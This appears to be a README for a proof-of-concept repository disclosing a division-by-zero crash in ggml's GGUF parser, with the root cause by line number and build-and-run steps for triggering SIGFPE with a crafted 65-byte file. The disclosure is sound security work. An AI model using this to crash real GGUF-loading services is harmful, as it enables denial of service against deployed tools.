ericblackgachara/ggml-divzero-poc

GGML GGUF Parser — Division by Zero (CWE-369)

A crafted 65-byte GGUF file crashes any application using gguf_init_from_file() via SIGFPE.

Vulnerability

File: src/gguf.cpp:632 in gguf_init_from_file_ptr() Root Cause: Dimension validation at line 623 checks ne[j] < 0 but allows ne[j] == 0. The overflow guard at line 632 computes INT64_MAX / ne[1] — division by zero when ne[1]=0.

Reproduction

# Generate the malicious GGUF file
python3 gen_divzero_gguf.py

# Build ggml
git clone https://github.com/ggerganov/ggml && cd ggml
mkdir build && cd build && cmake .. -DCMAKE_BUILD_TYPE=Debug && make -j4

# Compile test harness
g++ -std=c++17 -g -I ../include ../test_crash.c -L src -lggml -lggml-base -Wl,-rpath,src -o test_crash

# Trigger crash
./test_crash crash_divzero.gguf
# Result: Floating point exception (SIGFPE)

Files

File	Description
crash_divzero.gguf	65-byte malicious GGUF file (ne[1]=0)
gen_divzero_gguf.py	Python generator script
test_crash.c	Minimal C test harness

Impact

Denial of service via process crash. Affects llama.cpp and all GGUF-consuming tools.

Tested Version

ggml 0.11.0 (commit ac6f7b44f60fde0091f0b3d99afde48f8c99b13a)